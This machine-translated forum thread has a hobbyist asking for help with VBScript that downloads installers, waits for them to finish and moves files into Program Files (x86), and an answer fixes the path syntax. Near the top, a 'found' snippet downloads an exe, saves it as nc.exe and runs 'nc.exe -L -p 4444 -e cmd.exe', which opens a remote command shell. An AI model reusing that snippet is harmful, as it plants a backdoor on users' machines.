Пожалуйста, держите все ответы. Просто что-то нашел.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
Таким образом, мои многочисленные строки VBS и строки, которые он будет открывать (или нет) по пути, в настоящее время имеют VBS, который открывает URL-адрес для загрузки чего-либо с инструкциями о том, где сохранить, и, после этого, перемещается из папки загрузки в программы (x86), но похоже, что я нашел кое-что, что загрузит файл для (x86) для меня. Я посмотрю, что нужно для загрузки в специальную папку.
Я знаю, что моя следующая борьба будет заставлять VBS ждать.
В дос
start/wait drive:\path\file.exe
ожидает завершения установки, прежде чем перейти к следующему заданию.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Я создал много VBS-файлов для запуска в порядке, который я еще не проверял. Так что я не знаю, будет ли каждый ждать, пока программа не закончит установку, или мне нужно создать цикл, чтобы увидеть, работает ли exe-файл.
У меня есть папка "learning vbs" с примерами, которые можно изменить для сборки. Я расширяюсь по мере изучения и тестирования.
Я не могу переместить файл с рабочего стола в файл программы (X86) из-за ошибок
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Ошибка несоответствия файлов
И если я удалю "" вокруг программных файлов (x86) для пункта назначения
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
я получаю выброшенный) ошибка. Чего мне не хватает?
РЕДАКТИРОВАНИЕ: из ответа ниже
Как уже указывалось, Program Files (x86) = ... неверный синтаксис. Имена переменных не должны содержать пробелов, а круглые скобки допускаются только при объявлении переменных массива. Кроме того, в коллекции SpecialFolders нет члена «Program Files (x86)».
Вместо этого разверните соответствующую переменную среды:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Также ваша команда пытается переместить содержимое папки «Файл для перемещения». Это намеренно? Если вы хотите переместить файл «file to move», вам нужно изменить последний оператор на fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
МОЙ КОММЕНТАРИЙ:
Нет, «файл для перемещения» заменяется на «не уверен, стоит ли включать расширение» - это имя файла (т.е. myfile.extension), а не «папка» файла для перемещения. Папка "рабочий стол"
desktop = sh.SpecialFolders("Desktop")
и
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
таким образом я ставлю
source = fso.BuildPath(desktop, "file to move.extension")
Я не ищу, чтобы кто-то написал код для меня. Я пробовал% path%, который работает в dos (то есть% userprofile%) в VBS и раньше, и застрял, чтобы увидеть
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
заставил меня почесать голову. Даже с командой расширения.
Выполняю тестирование. Буду редактировать с обновлением. Простите за поздний ответ. Уик-энд проект хобби.